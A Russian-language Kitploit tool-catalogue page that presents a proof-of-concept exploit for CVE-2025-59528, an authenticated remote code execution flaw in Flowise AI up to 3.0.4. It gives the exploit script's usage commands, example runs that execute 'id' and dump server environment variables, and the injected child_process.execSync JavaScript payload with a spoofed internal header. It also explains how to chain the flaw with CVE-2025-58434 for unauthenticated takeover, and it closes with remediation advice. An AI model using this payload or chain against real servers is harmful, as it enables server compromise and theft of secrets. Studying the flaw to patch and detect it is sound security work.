Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Flowise-RCE-CVE-2025-59528 — Authenticated Remote Code Execution (RCE) exploit for Flowise AI versions ≤ 3.0.4. Leverages a vulnerability in the /api/v1/node-load-method/customMCP endpoint to execute arbitrary system commands via Node.js child_process.execSync(). Includes full PoC script and remediation steps. | Kitploit
Инструменты/GitHubGitHub/r3nsi15/flowise-rce-cve-2025-59528
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubr3nsi15/flowise-rce-cve-2025-59528

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Flowise-RCE-CVE-2025-59528

Репозиторий
14 месяцев назадЕщё не проверено

Authenticated Remote Code Execution (RCE) exploit for Flowise AI versions ≤ 3.0.4. Leverages a vulnerability in the /api/v1/node-load-method/customMCP endpoint to execute arbitrary system commands via Node.js child_process.execSync(). Includes full PoC script and remediation steps.

Поделиться

CVE-2025-59528 — Аутентифицированное удаленное выполнение кода (RCE) в Flowise AI

Обзор

Идентификатор CVE: CVE-2025-59528
Затронутое ПО: Flowise AI
Уязвимые версии: <= 3.0.4
Исправленная версия: 3.0.5 и новее
Серьёзность: Критическая
Автор: r3nsi15
Дата: 2025

Описание

Версии Flowise AI до версии 3.0.4 включительно позволяют аутентифицированному пользователю выполнить удаленное выполнение кода (RCE) на сервере, отправив специально сформированную полезную нагрузку JavaScript на конечную точку /api/v1/node-load-method/customMCP.

Метод загрузки узла customMCP принимает управляемый пользователем ввод, который вычисляется на стороне сервера как JavaScript, без надлежащей санитизации или изоляции. Внедряя полезную нагрузку, использующую child_process.execSync из Node.js, злоумышленник может выполнять произвольные команды операционной системы с привилегиями процесса сервера Flowise.

Также для конечной точки требуется наличие заголовка x-request-from: internal.

Уязвимая конечная точка

Конечная точкаМетодТребуется аутентификацияНазначение
/api/v1/auth/loginPOSTНетАутентификация и получение сессии

Доказательство концепции

Файл: CVE-2025-59528_POC.py

Требования

  • Python 3.x
  • Библиотека requests
  • Действительные учетные данные для любой учетной записи пользователя на целевом экземпляре Flowise
root@kitploit:~
pip install requests

Использование

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Аргументы

Примеры

Проверка выполнения кода:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Получение переменных окружения сервера:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Ожидаемый вывод

root@kitploit:~
[+] Выполнен вход
[+] Эксплойт отправлен
[+] Статус: 200

Разбор полезной нагрузки

Эксплойт внедряет следующее JavaScript-выражение в поле mcpServerConfig:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — загружает встроенный модуль выполнения процессов Node.js.
  • execSync('<command>') — синхронно выполняет команду ОС, предоставленную злоумышленником.
  • Всё выражение обёрнуто в литерал объекта, чтобы оно вычислялось чисто в контексте JavaScript сервера.

К запросу также добавляется заголовок x-request-from: internal, чтобы пройти проверку внутреннего происхождения, которая в противном случае заблокировала бы вызов.

Основная причина

Конечная точка customMCP передаёт ввод пользователя непосредственно в контекст выполнения JavaScript на сервере без санитизации или изоляции. В сочетании с неограниченным доступом к основным модулям Node.js (в частности, child_process) через process.mainModule.require, это создаёт тривиально эксплуатируемый вектор RCE. Проверка заголовка x-request-from не обеспечивает значимой границы безопасности, поскольку она не проверяется по надёжному источнику.

Объединение с CVE-2025-58434

Эти две уязвимости могут быть объединены для неаутентифицированной атаки RCE против экземпляров Flowise версий <= 3.0.4:

  1. Используйте CVE-2025-58434 для сброса пароля любой известной учётной записи (без предварительной аутентификации).
  2. Войдите с помощью только что установленных учётных данных.
  3. Используйте CVE-2025-59528 для выполнения произвольных команд ОС на сервере.

Устранение

  • Обновите Flowise AI до версии 3.0.5 или более новой, которая удаляет или должным образом изолирует уязвимый путь вычисления.
  • Никогда не выполняйте управляемые пользователем строки как код в серверном контексте.
  • Ограничьте доступ к опасным модулям Node.js (child_process, fs и т.д.) с помощью надлежащей изоляции (например, vm2, изолированные контексты или удаление доступа к process.mainModule).
  • Проверяйте и аутентифицируйте заголовок x-request-from с помощью серверного механизма, а не простой проверки строки.
  • Применяйте принцип минимальных привилегий к процессу сервера Flowise.

Отказ от ответственности

Это доказательство концепции предоставлено только для образовательных целей и разрешённых исследований безопасности. Использование этого скрипта против систем без явного письменного разрешения незаконно и неэтично. Автор и участники не несут ответственности за неправомерное использование.

Скачать инструмент
/api/v1/node-load-method/customMCP
POST
Да (сессионный cookie)
Уязвимая конечная точка метода загрузки узла
ФлагДлинная формаОбязательныйОписание
-e--emailДаАдрес электронной почты аутентифицированного пользователя
-i--urlДаБазовый URL экземпляра Flowise
-p--passwordДаПароль аутентифицированного пользователя
-c--cmdДаКоманда ОС для выполнения на сервере